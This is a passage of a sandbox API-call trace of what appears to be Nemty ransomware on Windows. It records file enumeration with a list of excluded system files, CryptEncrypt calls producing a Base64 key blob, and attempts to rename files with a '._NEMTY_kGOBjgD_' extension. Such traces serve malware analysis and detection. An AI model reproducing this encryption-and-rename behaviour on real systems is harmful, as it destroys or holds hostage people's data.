CloseHandle (hObject=0xffffffff) returned 0 [0091.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0091.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0091.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0091.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0091.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.144] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0091.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0091.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0091.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0091.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0091.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0091.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0091.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.145] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2=".") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="..") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="...") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="windows") returned -1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="$RECYCLE.BIN") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="rsa") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="NTDETECT.COM") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="ntldr") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="MSDOS.SYS") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="IO.SYS") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="boot.ini") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="boot.ini") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="AUTOEXEC.BAT") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="ntuser.dat") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="desktop.ini") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="CONFIG.SYS") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="RECYCLER") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="BOOTSECT.BAK") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="bootmgr") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="programdata") returned 1 [0091.145] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="appdata") returned 1 [0091.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sports_disc_mask.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0091.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sports_disc_mask.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sports_disc_mask.png", lpUsedDefaultChar=0x0) returned 20 [0091.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0091.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sports_disc_mask.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0091.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sports_disc_mask.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sports_disc_mask.png", lpUsedDefaultChar=0x0) returned 20 [0091.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0091.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sports_disc_mask.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0091.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sports_disc_mask.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sports_disc_mask.png", lpUsedDefaultChar=0x0) returned 20 [0091.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sports_disc_mask.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0091.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sports_disc_mask.png", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sports_disc_mask.png", lpUsedDefaultChar=0x0) returned 20 [0091.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0091.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0091.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0091.146] Sleep (dwMilliseconds=0x5) [0091.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9f9c6d0, dwHighDateTime=0x1d561e7)) [0091.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9f9c6d0, dwHighDateTime=0x1d561e7)) [0091.149] GetLastError () returned 0x5 [0091.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.149] GetLastError () returned 0x5 [0091.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0091.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.149] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0091.149] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0091.149] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0091.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0091.149] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="Xr8fG/joAyw9HcYeTQNfF+Rt3QDhU4Qmt0sjyHtZqBevnTjXKPGBcSZsijYyP+tM\r\n6t8oABR9vsKvshwRyEKI0KL/rns5q5KjN0pCWTqRrYuGdSMQq+7jGfMG8sTsDW4v\r\nNIEKjJHzyDAUBzAyoPZM89vgTavMM7ooGaHXH4WjYMbc0HPRLa8KUzgFtSkmBvyo\r\nk1a5WDSa5s1ydNQiPn6s3nCU2ZTvLpIES4+DYpefuAg2lUAaLqGw3XCCxpCOlaVk\r\nERyJW3/WV+IppVCmyY8AkMfHEe67cbBDOcjcVE1OnRHWIzK2mOXfgbD032D0shKh\r\n4InmEV+332O+8JAnfuQivw==\r\n", pcchString=0x653e91c) returned 1 [0091.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0091.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0091.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0091.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0091.149] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.149] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0091.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0091.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.222] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0091.254] CloseHandle (hObject=0xffffffff) returned 0 [0091.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0091.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0091.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0091.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0091.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.254] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png._nemty_kgobjgd_")) returned 0 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) 